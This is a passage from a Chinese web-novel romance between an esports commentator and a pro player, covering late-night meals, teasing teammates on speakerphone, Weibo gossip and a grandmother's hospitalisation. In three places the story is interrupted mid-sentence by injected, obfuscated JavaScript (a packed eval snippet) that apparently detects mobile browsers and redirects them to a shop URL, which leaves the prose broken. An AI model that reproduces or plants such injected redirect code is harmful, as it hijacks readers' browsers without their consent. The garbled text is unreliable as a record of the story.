他的眼睛闪过一丝失望,没答应,就沉默,然后像个木头一样站着。 四月风在晚上十一点已经有点冷了。 陆意扬觉得自己挺不知好歹的,又说,“你太累了。” “不累。”他的眼神在听到陆意扬说这个时候瞬间又恢复了一点儿星光,“先上车。” 陆意扬也只能先上了车。 然后看他打开了后车门,然后拎出来几个盒子,“你可能没吃饭。” 陆意扬下午就吃了几颗蓝莓,解说间隙他也没吃什么东西,就光喝水了,当时不觉得饿,现在也饿了。 “这是?”陆意扬看着好几个盒子打开放在中控上,每格都塞了菜。 “阿姨做的,”谈年说着,怕陆意扬误会给添麻烦,又补充,“......我给她红包了。” “怕路上没吃的了,”谈年又说,“你吃吗?” “回去吃吧。”陆意扬把盒子收起来,这些菜都还很烫,烫的他手心都要出汗。 “哦。”他上了驾驶室,踩动了油门往前去。 陆意扬微微开了一点儿车窗,风吹起他的刘海,他往车座上靠着,有点累。 要是从前他就要等一个很久的滴滴,或者随便自己吃点儿什么,但是现在有点儿不太一样了。 谈年似乎在摸什么,掏了一会儿,摸出来一包辣条。 放在陆意扬的手上,“你,你先吃一点。” 谁会在有这么多菜之前吃辣条啊? 但是陆意扬忽然想起来,他家里就是有辣条的纸箱子,但是那是他微博上中奖来的,家里都是辣条,他都吃够了,都要吃吐了。 他手里摩挲着这包辣条,又看了看驾驶室的人,他低下头。 “你不喜欢吃?”他问,有点小心。 “喜欢吃,”陆意扬的声音有点哑,“可是...” 陆意扬转过去看窗外,“我今天解说的时候说那两个队伍的坏话了。” 陆意扬佯装轻松地说,“太菜了,要是不是在直播,我说得更难听。” 他试图用这种方式,让他知道自己不是什么好东西。 “嗯。” 他为什么没有一点反应。 陆意扬开始变本加厉,“不知道我有没有解说过你的比赛,可能我解说你的时候...” “没关系。”他说。 车厢里面太暗了。 “比赛本来就是让人讨论的。”他说。 陆意扬还是沉默。 “网上的意见有些也是对的。”他又说。 陆意扬还是不说话。 谈年看了陆意扬一眼,“而且,第二把K1失误点就是没在前期反打。” “是吧。”陆意扬敷衍,已经没有什么心情跟他讨论K1今天输在哪里了。 “陆意扬。” “嗯?”陆意扬惊了一下,扭过他看他,虽然也不是第一次叫他的名字,但是总觉得他每次叫全名的时候都有点郑重其事的。 但是他要说的话还没来,就来了电话声。 边上的人直接点了一下免提。 对面传来小5的声音,“哥,吃夜宵呢,你去哪里了。” “送他回家。” 对面非常自然地说:“哦,那晚上还回来住吗?” .......陆意扬尬了一下。 小五似乎走到了比较安静的角落。 “追到了吗哥?”对面既兴奋又小声。 ......陆意扬简直没耳朵听了。 “没。” “呀!那你表白了没?”小5又很兴奋地问道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967540|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没找到机会。” ?不是 我就坐在旁边大哥!这是我能听的吗! “表白还要找机会?没有机会你就制造机会你个废物!你就上去就给他过肩摔,摔住院了你天天去照顾诶诶诶诶.....”B哥被人拉走了,传来K哥笑意明显的声音,“别听他瞎说,那你快追吧,追到了带来基地吃饭,代我们跟小六问好。” ? “他能听见。” ? 小5把手机抢回来了,很高兴地说,“能听见?嗨!小六老师好啊,早点来我们基地吃饭啊,我们等你!” 车厢又陷入了安静,陆意扬感觉整个人都像被放在100度水里煮,他现在是装不知道还是装知道? 这只要没聋的都能听出来是什么意思了吧? 陆意扬真的要抓耳挠腮了,他好歹也是见过大场面的,怎么现在就这么废物呢? 不是,你还要这么宣传的吗?你们基地的人都知道了? 陆意扬真服了,现在怎么办?说什么? “....所以,你去吃饭吗?”谈年问,“我们基地。” 啥?我去你们PAX基地吃饭? 人家说你追到了带回来吃饭啊。 你吃兵线节奏快就算了,你带人吃饭节奏也这么快吗? 陆意扬僵硬地说,“你们还要比赛,这太打扰了。” “哦。”他应了一声。 过了几秒钟。 “比赛打完就没什么事了。” 这叫人怎么回答啊大哥。 “你们基地应该有纪律吧,”陆意扬硬着头皮说,“带人回去吃饭是不是...” “等一下。” 谈年在红绿灯的时候开始打电话。 “干嘛啊!”对面是椰哥的声音。 “我想带人回基地吃饭。” “不耽误训练,你要在基地结婚办酒席都无所谓,你付钱就行。”椰哥说。 “会考虑的。” 对面无语地挂掉了电话,陆意扬的沉默更是震耳欲聋。 车辆停在小区门口,车里很是安静。 其实陆意扬明里暗里地已经婉拒他好多次了,他好像一次都没领悟到,或者领悟到了装不知道。 但陆意扬自己没好到哪里去,缺德事儿像个月亮一样在他头上悬着,但是乌云遮盖的间隙,陆意扬的态度又是不清不白、勉为其难。 他一次次试探陆意扬的底线,今晚更甚,陆意扬也不是傻子。 陆意扬的手指扣在开门处,盯着自己的膝盖,很是艰难地说:“电话之前你不是有话要说吗,你说吧。” 表白了,我就真的要拒绝你了,很严肃的那一种。 谈年看着陆意扬垂着的头,捏紧了方向盘。 最后他从车后座拿出了一箱东西放在陆意扬的腿上,带着重重的药味。 打开一看,是一支护腕仪,旁边是写满了各种程度症状用来缓解的中药包,跟陆意扬配的不一样,粉末太碎了,像是自己研的,有些可能存在过敏源都标注出来了。 “你直播时候说手已经不影响生活了但是,那天喝完酒你一直说疼。” 陆意扬不自觉地扯着袖子想将手腕遮起来。 梅雨季太长了,这是关节伤最难熬的时候。 陆意扬觉得自己不应该浪费他的时间做这些没用的东西,苦艾味熏着他的眼睛:“没有,还好,就偶尔,毕竟时间很长了,可能是因为天气,你不要弄这些了......” “就.....我其实也用不上的。”陆意扬咬着下唇,抱着药箱子的手指收紧,“这些药很贵,给我....很浪费。” “用不上是好事。”他点着头,像是有点晃神,声音也闷闷的。 他转过来,他总是这样低的帽檐,总是看不清的眼睛。 “陆意扬,能浪费给你,就不算浪费。” 45.他喜欢我 羊崽账号也会有一些男同私信,在他卖腐之后更甚,话说得比较恶心的陆意扬也忍不住骂他们,说现实街上碰到我必给你们这些恶心的男同处以极刑。 但是真的男同来了。 陆意扬眨巴着眼睛,感觉自己被他处了极刑。 陆意扬是了解他的。 他入行到现在进步飞快,可见私下十分努力。 他少有桃色八卦,哪怕是黑粉头子都不得不承认。 他火了的时被人考古,印象较深的是过年在网吧代练。 唯一的黑料,大概就是路人王时期到处挑衅,没成年的时候在赛场打人,偶尔的直播跟采访,他说话傲慢,不知是情商低还是不在乎,反正大体印象就是这样。 他在陆意扬面前也太不一样了,礼貌、体贴,小心甚至还有点....死缠烂打。 PAX从差点儿要去保级赛走到现在,陆意扬看过他所有的比赛视频,从最开始圈不完的关键帧,嫌他这玩得蠢那玩得菜,到现在,只能挑一挑瑕不掩瑜的失误。 谈年坐在他旁边,未到五十公分。 所有人都知道他喜欢我。 陆意扬不认为他会低级趣味捉弄人,也不觉得他在开玩笑。 大约能知道,他是认真的。 被一个男人喜欢,陆意扬都不知道他是想当我的老婆还是想当我的老公..... 陆意扬第三次舔自己嘴唇,抱着个盒子发愣。 解说之前不能吃太多甜的,会多分泌口水听着口齿不清,也不能喝太多水,免得比赛时间想上厕所。 远处有一闪而过的车灯,打乱陆意扬思绪的是面前多了一杯冰柠檬水。 陆意扬眨了眨眼睛,“这大半夜的,你上哪里买的?” “走的时候。” 陆意扬接过来还是冰的。 送我上班的时候买上,回去冰起来接我下班再带过来吗? 陆意扬太久没有被人这样在意过,连说「谢谢」都成了气音。 今日周五,几步之遥的便利店打折,他好久没吃过15.8的盒饭。 陆意扬有点踌躇地说,“这么多菜,一个人吃不完。” 只是低头把脚边的包拿起来这么一个动作,旁边的人解安全带熄火下车打开陆意扬的车门拎着饭盒等着跟他一起上楼吃饭了。 他能稍微矜持一点吗。 二人上楼,电梯蛮快。 门打开,早上吃的东西都还没收。 陆意扬把东西放下就去收茶几。 “你坐。”陆意扬说。 “哦。”他坐在沙发上,然后用纸巾在那擦茶几。 陆意扬都不知道他是不是把他们基地所有的保温盒都拿过来了,三四五层的保温盒擂起来都有一米高了。 甜水南瓜、鱼香肉丝、京酱肉丝、水蒸蛋、醋蒸鸡跟香菜牛肉丝。 豆角茄子、牛腩荷包蛋、焖鸡爪、酸辣汤、口水鸡,陆意扬都看傻了。 不是,谁家保温盒都能开一个席了啊。 “你让阿姨做这么多?” “这边这些是我定的,这边是阿姨做的。”谈年很老实地说。 “太多了。” “不知道你爱吃什么,多尝一些,都很少的。” 陆意扬说不清楚什么感觉,只能闷闷地说:“下次来....只能带三个菜。” 旁边的人嘴角翘起来了一点,“好、好的。” 他的房子冷清了这么久,忽然有人坐在他边上吃饭,他有点不习惯。 摸来摸去摸到了遥控器,随便开了个电视。 无聊的电视剧,主角久别重逢,说着当年糗事。 陆意扬看笑了,偏头说:“你可能忘了,我更早的时候见过你,有一年多了。” “知道。”他也在看电视,淡淡说:“弄脏了你的衣服,你没要我赔。” “啊,”陆意扬有点惊诧,“你记得啊。” “嗯。” 陆意扬吃饭的筷子停了,“你、你.....” 你不会是那时候就看上哥们了吧? “嗯。” 也不知道他在回答什么。 陆意扬疑惑地眨眼,想起来火锅店的溅到眼球的热油,那盏送他回家的雾灯,在黑暗走廊里慌乱握住过的手,卫生间那个虚假的拥抱,想起来他蹲在地上给自己修自行车,最后把思绪停留在谈年贴着医用胶布的手腕上,是礼貌社交距离看不出来的肉色胶带。 腱鞘炎,这么小年纪就有了吗。 忽然觉得自己从前对他好刻薄。 就.....如果他把账号注销掉,是不是可以瞒天过海? 他能不能一直不知道? 或者,以后有恰当的机会再说? 想着这个问题的陆意扬低头扒拉着饭碗里的饭,味道都没吃出来。 陆意扬吃饱就犯困,打了个哈欠。 “你困了?”他问。 “有点儿。” “哦,那我走了。”他起身,但是还在收拾茶几,动作的话......他刚刚下车的时候是这个速度吗? “我来吧。”陆意扬将残羹剩饭倒进垃圾桶,几下就收起了碗,“我洗完你带回去。” 他先是在茶几那擦桌子,擦完了双手攥着抹布走过来。 晚上的玻璃都能看到他的影子。 走到一半又回去了,坐在沙发上,他就这么静静地看着陆意扬的背影,背都被他看热了。 他攥着个抹布又过来了,站在陆意扬的旁边。 水龙头的声音哗啦啦的,不锈钢保温碗撞来撞去,有点吵。 “......你喜欢吃什么菜?”谈年问,“没看出来哪个你特别喜欢。” “都还行。” “你刚刚说的下次三个菜,”他的手攥着抹布,“想吃什么?” “下次的菜下次再说呗。”陆意扬冲着碗,“刚吃饱呢。” “那下次是什么时候?” 陆意扬真是服了,“你能不能多想想比赛?” “想比赛.....就不能想你了吗。”他说完这句话的时候吞咽了一下口水,手忙脚乱把碗撞出声响,又赶紧补上一句:“就是,你想吃.....什么菜?” 陆意扬手上的动作慢了,眨好几下眼睛,“那....那你喜欢吃什么菜....呢?” 他擦了半个碗,小心地问,“家常菜,可以吗。” “哦....”陆意扬说这话的时候感觉有点害臊,“买的菜可能不卫生,你要比赛,吃的要注意一点,家常菜很简单,....我给你做呗。” 旁边的人苹果肌似乎不太扁平了,嘴唇咬了好几次,碗都掉水槽里了,溅起水来。 两只手去捞同一个碗。 手指在温热的水里触碰到,陆意扬没动。 哗啦啦的水声遮住了陆意扬的心跳声。 水花泡沫将水里打进氧气,手在水里发抖都不会被察觉。 他的手指碰到了一点指尖,陆意扬的心跳加剧。 见陆意扬没动,他虚虚的抓了一下陆意扬的小手指。 本以为被男同性恋摸手会让陆意扬一秒变身尖叫鸡,但是事实是陆意扬只变成了一只大脑空空的卡皮巴拉。 他很快就松开了,他比陆意扬还没出息一点,因为他的耳朵红成了辣椒。 两个没出息开始胡乱地忙活起来,陆意扬去找袋子,谈年擦干净了最后一个碗。 他拎着保温袋,也不知道是想走还是不想走,终于他说:“早点休息,我走了。” 陆意扬分明心里祈祷他快走自己需要冷静一下,但是嘴上却:“我送你下去。” 陆意扬关上了门,二人进入狭窄的楼梯,跺了两下脚,这声控灯还是不亮,陆意扬点了下手机灯的照明,“这灯坏了。” 二人走在小区里,夜间有点冷意,“那你路上小心一点。” 似乎说「到了跟我说」有点僵硬。 “嗯。” “行,那你走吧我也回去了。”陆意扬甩了两下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977724|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,“拜拜。” 他把东西放在后面,坐在驾驶室。 陆意扬往回走,听见车发动的声音。 继续走,陆意扬到小区树荫里回头看。 车未动,他还是坐在那里,看着陆意扬的方向。 真服了,这是干嘛呀。 又不是看不到了,年纪小真矫情。 陆意扬心绪有点乱,上楼的时候懒得开手电,摸着黑往上走。 哪怕是走了那么多次,心不在焉地还绊了一下。 他回到家,把客厅的灯关了,电脑房有常年不关的台灯,陆意扬躲在窗帘后面,偷偷看了一下:在他关了灯之后,那辆车才缓缓地离开。 他笨不笨,到现在也没说要加个微信,要是他想加..... 累了一天,临着睡前敬业的互联网人还要冲浪。 陆意扬去翻他的微博,他切换了「解说小六」的账号,在点上关注的那一刻,变成了「互相关注」。 他的关注列表不公开,陆意扬也不知道他关注了自己。 陆意扬开始猛翻自己微博粉丝列表,虽然小号的粉丝不多,但是找起来还是有点费劲,还好他账号有会员,在一众黑色粉丝里面还是比较显眼,都快要翻到最末尾,才找到了。 陆意扬手指都酸了,按照这个关注时间来算,都是起码一年多前。 兴奋剂检测那时候奇怪表现在这一刻揭开答案。 为什么他那天别扭成那样,为什么他看见我像看见了鬼。 原来是他暗恋我? 陆意扬咬着手指,突然起来去卫生间,他拢了几下自己的头发,凑近了镜子检查自己的鼻子有没有黑头,又摸了摸发际线,接着又检查自己的脸上毛孔怎么样,起都起来了,还用洗面奶洗了一下脸,洗完又擦了点爽肤水。 最后又走到衣柜处,摸着自己的下巴想,确实也得买点新衣服了。 搞完这一切的陆意扬回到床上,已经半个小时过去了。 他解开锁屏,看见他发了一条微博。 陆意扬的心跳有点快。 【PAX-zonke:^ - ^ [图片]】 图片是在车里拍的几个碗。 这有什么好发的? 【深夜发这种东西不是秀恩爱就是失恋emo。】 【我投秀恩爱一票。】 【碗怎么了?】 【你看不懂就不是发给你看的。】 别说他们看不懂,陆意扬也看不懂啊。 【还有水渍,这碗刚洗完。】 【有道理,那我们倒推一下,这碗是吃饭用的。】 【他跟小六一起吃饭了!】 【小六洗碗了!】 陆意扬真的是服了,这帮流民能不能别一猜一个准啊。 这次刷新的时候: 【PAX-zonke回复:一起洗的】 陆意扬真无语,洗个碗至于吗..... 【一~起~洗~的~】 【不是,你别让我在小六的粉丝面前抬不起头来好吗zonke我再警告你一次。】 【再卖腐小女子找人弄你们。】 【小生也有此意,得有缘人真是快哉快哉。】 【人家微博有一条跟你有关系吗哥能别这么舔吗?】 【如果是我男朋友我会说真棒棒,是我追的竞男我只想说丢人。】 【下次发一起洗澡呗。】 【洗澡又好了,我都怕他发给小六洗脚。】 【诶诶诶诶,你家小六关注你了!】 【坏了!前两天还退展呢今天怎么迎来进展了?】 【小六关注你就是喜欢你,喜欢你就是爱你,爱你就是想跟你结婚,想跟你结婚就是想跟你到老,到老就是想跟你一起死,你们感人的爱情我光是听就已经落泪。一直在考虑有什么办法能让你们永远在一起,想来想去,只有合葬。也是恰好,鄙人沪宁万古墓园管家小张,随时欢迎咨询,双人墓地现在购买立减2000。】 46.别的不行 陆意扬睡醒的时候已经是中午了。 他现在被惊吓得有点厉害,一睁眼的第一件事就要去看他有没有开个煞笔直播,打上「等人」然后往直播间一坐,太吓人了。 还好今天没有。 陆意扬起来刷牙洗脸,穿着个白t懒洋洋的打着哈欠看手机,今天没课,且昨天那个解说在群里询问今天能不能让他去,陆意扬也马上就答应了。 是解说就想多露脸,没什么问题。 他摸了摸自己的手腕,起来还有点疼,坐在沙发上看护腕仪,中药包也分得太细了。 绑在手上的时候传来暖意。 陆意扬翻了一下PAX那些人,他们昨晚上也没直播,不知道回去之后他训练没有。 要是训练了的话,他这会儿应该在睡觉。 他站在阳台伸了个懒腰,来到厨房想着做点饭吃。 要蒸米饭的时候看见米好像就够他一个人吃的,要是再来一个人米都没了。 算了,外面这么好的天气就下楼去买吧。 陆意扬戴了个遮阳的鸭舌帽,套了一件挺薄的衬衫外套就往楼下走,刚到楼梯,就看见了人,不可置信地问,“你怎么在这儿?” “你起来了?”他手上有点灰尘,不知道往哪擦,听到陆意扬说话又把手藏在身后,“我来修一下灯。” 围观的街坊邻居还在说话,指导他把其他的灯也修一下,陆意扬拽了他一下,有点无语,“你修这个干嘛呀,这小区的事儿,你还管?” “不是。” “什么不是,”陆意扬说,“我自己开手电行了。” 有陆意扬根本不认识的街坊过来,对着谈年说,“帅哥!一会儿把隔壁楼的灯也修一下呗,好人一生平安啊!” 陆意扬有点不爽,他们在这使唤谁呢。 “你自己修去。”陆意扬说。 “真不会做人,顺手的事儿也不行?” 陆意扬转过来对着谈年说,“你干嘛要在这里修灯泡。” “.....没借口来。” 陆意扬沉了口气,拉着他的衣袖,走了一段走到自己的门前,咚咚咚地敲门。 “就这样,看明白了吗?”陆意扬说,“直接敲门。” “嗯。”他的嘴角又开始往上提,今天他终于没穿那件很热的绒卫衣了,穿了一件白色的后背有涂鸦的衬衫,浅色的牛仔裤,戴着一顶米色的鸭舌帽,帽子上面还扣着一副墨镜。 “你今天有什么事吗?”他问。 “没事啊,我去超市。”陆意扬说。 “我可以一起去吗?” “那你干苦力,我今天去买米。” “好的。” “我买五包一百斤的。” 他皱了一下眉头,“都搬回家?” 陆意扬笑了一下,“我至于这么缺德吗?” 他并排跟陆意扬一起往前走,大学城这里年轻人太多了,陆意扬怕他被人认出来,还要被偷拍,说,“算了,不去了。” 他显然是误会了陆意扬的意思,“能拿。” “我怕人家认出你来,麻烦。”陆意扬解释道。 “墨镜口罩。” “我叫跑腿一样的,”陆意扬说,“回去看电视吧。” “你都看什么?”他问,“电视。” 陆意扬都不敢想跟他谈恋爱得多无聊。 “美剧,悬疑,谍战,都看,”陆意扬问,“你喜欢看什么啊。” 他眨了好几下眼睛,“......动漫。” 有代沟。 二人上了楼,“你玩电脑吗,家里也没什么东西给你玩。” “我不玩。” “我叫个跑腿,你要什么东西你自己点。”陆意扬把手机给他,然后自己歪在沙发上按电视,真坑啊,都得要会员。 陆意扬看了各大平台的动漫,感觉腾讯的好像多一点,就连腾讯会员想要付款,忽然一想拼多多好像更便宜。 “点好了吗?”陆意扬凑过去问。 “嗯。”陆意扬滑了一下就下单了。 然后他打开拼多多......... 他忘了! 他上次给PIK家那个打野开专场的时候,他发起一个砍一刀活动! 给人家买充/气/娃娃...... 现在推荐的得满屏幕都是肉花花的一大片马赛克?! 不是..... 我草..... 陆意扬感觉如芒在背,如针刺眼,刚要滑走,这他妈该死的拼多多开始「幸运转盘!」一时半会退出都退不出去了? 他会把哥想成什么人啊? 平民起诉拼多多的胜率有多少? 退也退不出去,陆意扬只能立即锁屏。 他觉得要是这会儿对上眼神,他可以原地去世了。 很好,就二人的眼神的倒影在黑色的屏幕里交汇了。 陆意扬在尴尬的时候非常忙,也没心情在拼多多上便宜那一块两块了。 抠得要死的陆意扬直接在电视上扫了码,当做一切都没发生过。 “等....”谈年开口。 陆意扬当听不到,人脸识别扫码付款点播一气呵成,“动漫,你看吧。” “那个...” “那个不是我用的。”陆意扬有点咬牙切齿了。 “......海贼王在爱奇艺。”他说,“腾讯没有。” “你早说。” “你不让...”谈年音调低了一个度,“我说。” “不行,我都冲了你就看这个,”陆意扬咬牙说,“下个月给你开爱奇艺。” “你开的年费。” 我草,陆意扬的心都滴血了,恨恨说,“那你就一年都在这里看。” “哦。”他又笑了。 陆意扬起来去洗水果,水果也是他买的。 “吃。”陆意扬把草莓放在茶几上。 陆意扬本来看电视都是横着躺,来了个人,他沙发又不大,所以只能端坐着。 陆意扬双手抱胸,坐得十分威武。 这个动漫有点治愈了,看了半天它都一直在唱歌,让人感觉这好像是印度片呢。 “这个动漫讲的什么?”陆意扬问。 “.....”谈年愣了一下,“这个讲的...” “没看懂。” “什么?” “没,”他双手紧紧握着遥控器,“没看懂,就...” 他转过来盯着陆意扬,耳尖有点红,“你在这里,没心思看。” 陆意扬被一说,整个人有点害臊,然后莫名其妙地开始把草莓推过去把纸盒子拿过来,又抠纸盒子上的乱贴的贴纸,“哦....” 这草莓可真草莓啊。 陆意扬感觉他的语言系统有点缺失,“怎么还没来,等着....等着做饭呢....” 估计是网上「做饭」什么的看多了,毕竟羊崽冲浪互联网8G,太歧义了,不太对劲,“那个,你吃水果,吃。” 正是这会儿,敲门声响了,买的东西送到了,陆意扬起身开门,从袋子里把东西拿出来,“我把饭焖上。” “嗯。”谈年把遥控器放在桌子上,也起来了。 “放了两天了,你买的菜,”陆意扬来到厨房,打开冰箱,“就吃这些,行吗?” “嗯。” 陆意扬在那淘米,呆子就站在旁边, 把米饭蒸上,好久没用这个电饭煲了,他滴滴地按。 水龙头哗哗地出水,陆意扬把菜都拿出来洗一洗。 “你一会儿队伍里还有事情吗?”陆意扬问。 “有事会打电话。” 陆意扬哦了一声,“最好还是早点回去,总跑出来不好,还比赛呢。” 他似是偷看了陆意扬一眼,“时长够了可以请假。” “那也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆意扬看见他的样子,不是吧,哥喂个肉给感动成这样吗。 他看着谈年红红的眼睛,有点眼神乱瞟,人家都主动到这个份上了,咱也别太装逼了。 陆意扬转身插着兜炒菜,耳朵通红,“你好好训练,不用天天来,我又不跑。” 但是他眼睛还是红的。 他很难受吗? “哎呀,你这,”陆意扬呆滞地抬了抬手臂,拍了拍他的肩膀,“那你,你不忙的时候就来呗,我反正也,也就我自己吃饭....” 陆意扬看着炖牛肉咕嘟咕嘟地冒着泡,香味溢满了整个房间。 冰箱里塞了冰淇淋跟冰汽水,陆意扬觉得得在夏天之前把这个烂空调换了,不然他过来太热了,反正那会儿比赛也打完了,学校也放假了,应该可以休息了。 陆意扬又转回来搅和锅里的菜,咬着下唇,“就是,我其实性格也不太好,时间长了你可能.....” 陆意扬不好意思看他,还在搅和锅里的牛肉。 余光瞄了一下。 他这个表情干嘛啊,他的眉毛怎么皱这么厉害? 嘶,是不是听起来又像委婉的拒绝了? “就是,嗯.....跟亲近的人性格不太好,”陆意扬又开始舔嘴唇了,“嗯.....而且那个.....” 两男的这个事情,陆意扬还是需要一点时间接受一下,就发展不能太快的,就只能,就一起打打游戏吃吃饭这样,别的......目前暂时接受不来。 以后那什么的得看这个....感情,就,再说,起码得要时间,嗯。 所以他就算表白的话,答应是可以答应的,但是别的是不行的,主要是感觉他,也,也还行,嗯。 旁边的人低着头,怎么看起来还有点痛苦? 确实,暗恋久了是要痛苦的,但是.....我觉得我已经挺....挺好追了呀? “那你,”陆意扬只能继续说:“你现在在想什么。” 陆意扬等着他的反应,感觉心率都有点上升了。 他终于开口了。 他说,“这个牛肉太烫了。” “哦。”陆意扬木着脸,把锅铲扔进锅里,发出砰的一声,“我累了,不吃了。” 47.你回去吧 陆意扬刚要走,脸都有点红了的谈年拽了一下他的衣角又松开,他被烫到很不舒服,摸着自己的脖子,声音变得有点闷人,“你等一下。” 陆意扬也有点急了,想去倒水,“这么烫你吐出来呀。” 谈年拽着他衣袖不让他动:“刚刚你说的我听见了你等一下.....” 突然有手机震动的嗡嗡声,上面显示的是「椰哥」。 “你先接电话。”陆意扬怕他们基地有事儿找他,先去倒水。 谈年接起电话“喂”了一声。 “你在哪呢?”电话里的椰哥问。 “朋友家。” “那个解说吗?” “嗯。” “你注意下距离啊,你看看现在网上都说成什么样子了,你现在,你整个WATA2都是你的八卦新闻,我不是说不让你交朋友,但是你这个朋友的底细你清楚吗?前面那个解说的事情还在闹,影响你...” “椰哥。”谈年打断了他继续说话。 这个距离是能够听清他电话里的声音的。 陆意扬端着水杯,忽然发现这件事本身就没那么简单。 陆意扬刚要起来去房间,却被他拉了一下衣袖,轻轻一拉他又收回了手。 “我就拿了个四强,这种成绩接商业也没什么意思。”谈年拿过陆意扬手里的杯子放在桌子上,垂着眸子说,“而且,他没有影响我,是我追着他。” 一个电竞选手的联名关系到他将来的身价,前期经营得不好后期再想去接哪有那么容易。 “我告诉你啊小年,现在队伍的广告商大家可都是争破头的,个人情感问题最容易出问题我这一早上接的商务电话问的全是你...” “我....”谈年话还没说完,对面又接上了“等会儿我先接个金主爸爸的电话,等你回来再说。” 电话挂了。 陆意扬眨了好几下眼睛,这次是真没胃口吃饭了。 之前在羊崽账号的时候不管他怎么卖腐,人家都当个乐子来看,能增加曝光度那就是喜闻乐见的,但是真要是选手确实有小众情感偏好,这个品牌就得再好好考虑了。 他俩完全没注意,大火烧着牛肉,这会糊了。 陆意扬匆匆几步过去,关掉的了煤气,厨房里漫着一股焦褐味道,刚刚还是饱满多汁的牛肉现在就成了黑乎乎粘在锅底的垃圾。 陆意扬咬住了下唇,他觉得自己这两天可能是.....有点毛病,需要冷静一下。 “你早点回去吧。” 说完后陆意扬故意将水龙头的水放得很大声。 他估计是又来电话了,还是网上那些事。 陆意扬又只能将水龙头的声音关小一点,见他没有接电话的意思,又补了一句,“你早点回去吧。” 像是说给自己听。 他要来帮忙,陆意扬用手肘支开了他一点,像是不用他帮忙,拿筷子冲洗,第三次轻声说,“你回去吧,不是还有事儿吗?” “陆意扬我....” “我有点累了。”陆意扬打断他的话,收拾干净厨房,“我想睡觉了。” “睡醒呢。” 陆意扬拿过厨房纸擦手,“期末论文没写完。” “写完呢。” “好多比赛没看。”陆意扬接话。 “看完呢。” 关了的门一直敲很没礼貌他知道吗。 陆意扬把抹布一甩在水槽里,“我真挺忙的。”这个「真」字的口气还加重了些。 他站在边上,又问,“忙完呢。” “忙完就忙完再说,”陆意扬将抹布撇在桌子上,“我说我要睡觉了,你听不懂吗?” 话是敢说的,眼睛是不敢看的。 谈年还在打包垃圾,似乎完全不会被陆意扬的影响,也没什么被扫地出门的感觉,出门的时候转过来说,“那我先回去了。” 陆意扬站在那儿擦手,背对着,没转身。 边上冰箱能看见影子,他带上了门。 陆意扬装作无事的甩了甩手,一坐回沙发上,他的肩膀就塌了。 好像一切都回到了最开始的样子,这个房子里只有他一个人,他应该一个人吃饭,睡觉,上学,生活。 他现在不太想玩电脑,也不想动手机。 他看着天花板发愣,却像是卸下了一个大包袱,他怀揣着这样的秘密,本就不应该有哪些乱七八糟的设想,对双方都不好。 动漫里面的角色在告别,他们斩杀完魔王都要回到自己普通的村庄,回去过日出而作日入而息的平静日子。 他歪在沙发上,感觉他喝的那场酒现在才开始醒。 他有点困了。 他将手机塞进了沙发缝里,不想听见外面的声音。 ****** 再醒的时候,外面的天色已经完全都黑了。 以往的孤寂感还没来得及侵袭他,先传来的是脚踝上的温热。 他看见自己的脚已经塞到人的腿上去了,而且他还把自己的袜子给踢了。 陆意扬像见了鬼一样撑着手坐起来,“你怎么在这?” 他看着门,他也没钥匙啊,他怎么进来的? “妙妙说找不到你。”谈年答。 “然后呢?”陆意扬想要把脚缩回来,但是有点麻了。 “我就回来了。”他在晦暗的房间里看着他。 “门呢?怎么开的?”陆意扬心想哥们你还入室抢劫啊? 你嘴是不会说,但你什么都敢干啊? “卡片。”谈年做了个手势,滑了一下那种,他说,“敲了门,没人来。” “我这是门还是纸啊?”陆意扬不悦又想着是人家担心,收敛了些,嘀咕了一句,“我真服了。” “那你要换锁吗?”谈年问。 “算了,回头再看吧。”陆意扬把麻了的腿从膝盖下面提起来,又看了看他,“你事情弄完了啊?” “没什么事。”他说,“就回来了。” 陆意扬瘸着腿去上厕所,边走边说,“那你什么时候回去啊。” 他也不说话。 陆意扬洗完手瘸着腿又出来,刚刚沙发的温热还在,他从沙发缝里抠出手机,乍的光亮让他眯起了眼睛。 他翻着手机,忽然看见芳姨给他打了好几通电话,他连忙回拨回去。 “喂芳姨,怎么了?” “扬扬可终于打通你电话了,你姥姥,你姥姥今天忽然不能动了,现在已经在医院了!” “哪个医院啊!”陆意扬急忙穿鞋子,拎着外套就往外走。 “第三人民医院啊,你快过来吧!在七楼,722病床。” “行,现在她这么样?” “现在就是能说话,但是有点胡言乱语。” “好,我马上过去。”陆意扬挂了电话跟他说,“你先回去吧,我有事儿。” 谈年往外走,“我送你过去。” 陆意扬现在管不得这个,二人一起下了楼,就往医院赶去。 陆意扬一个劲儿的眨眼睛,紧并着双腿,大拇指抠在自己的虎口位置,指甲都印出了好几个印子。 到了医院将车开到门口,“我先走了,你路上小心。”便赶紧往住院大楼去。 电梯实在太慢了,开开合合的将陆意扬的耐心都要耗尽,他没好气的一直按着关闭电梯门的按钮。 终于到了七楼,陆意扬冲到病床面前。 老太太已经睡着了。 陆意扬轻声地问芳姨,“手续都办了吗?垫钱了的话我把钱转给你,还有什么东西要买的,我一起去买了。” “刚刚是急诊,住院的手续还没办,证件我去包里找。”芳姨拍拍陆意扬的肩膀,“刚刚老太太在找你妈妈,这会儿刚睡下。” 